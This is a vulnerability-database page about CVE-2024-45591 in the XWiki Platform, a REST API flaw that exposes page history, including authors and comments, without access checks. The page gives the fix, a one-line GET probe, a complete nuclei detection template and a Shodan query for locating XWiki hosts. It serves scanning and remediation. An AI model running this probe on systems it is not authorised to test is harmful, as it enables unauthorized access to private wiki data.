HexBrain

Browse / CVEs / CVE-2024-45591

CVE-2024-45591· xwiki / xwiki-platform· CWE-359, CWE-862

XWiki Platform - Unauthorized Document History Access

mediumseverity
5.3CVSS score
3.4%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

A vulnerability in XWiki Platform's REST API allows unauthorized users to access document history information. The REST API endpoint exposes the history of any page including modification times, version numbers, author details (username and display name), and version comments, regardless of access rights configuration, even on private wikis.

Impact

An attacker can access document history of any known page

Fix

Upgrade to XWiki Platform version 15.10.9 or 16.3.0-rc-1 or later. No workarounds are available for earlier versions

How to confirm it

Send: GET {{BaseURL}}/xwiki/rest/wikis/xwiki/spaces/Main/pages/WebHome/history
Positive when: contains "version" and "historySummary" and "pageId" and "comment" AND status 200

Run it with nuclei: nuclei -id CVE-2024-45591 -u <target>

The full check
id: CVE-2024-45591

info:
  name: XWiki Platform - Unauthorized Document History Access
  author: pd-bot
  severity: medium
  description: |
    A vulnerability in XWiki Platform's REST API allows unauthorized users to access document history information. The REST API endpoint exposes the history of any page including modification times, version numbers, author details (username and display name), and version comments, regardless of access rights configuration, even on private wikis.
  impact: |
    An attacker can access document history of any known page
  remediation: |
    Upgrade to XWiki Platform version 15.10.9 or 16.3.0-rc-1 or later. No workarounds are available for earlier versions
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-pvmm-55r5-g3mm
    - https://jira.xwiki.org/browse/XWIKI-22052
    - https://nvd.nist.gov/vuln/detail/cve-2024-45591
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-45591
    cwe-id: CWE-359,CWE-862
    epss-score: 0.03417
    epss-percentile: 0.88998
    cpe: cpe:2.3:a:xwiki:platform:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: xwiki
    product: xwiki-platform
    shodan-query: http.html:"data-xwiki-reference"
  tags: cve,cve2024,xwiki,exposure,rest-api,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/rest/wikis/xwiki/spaces/Main/pages/WebHome/history"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'version'
          - 'historySummary'
          - 'pageId'
          - 'comment'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from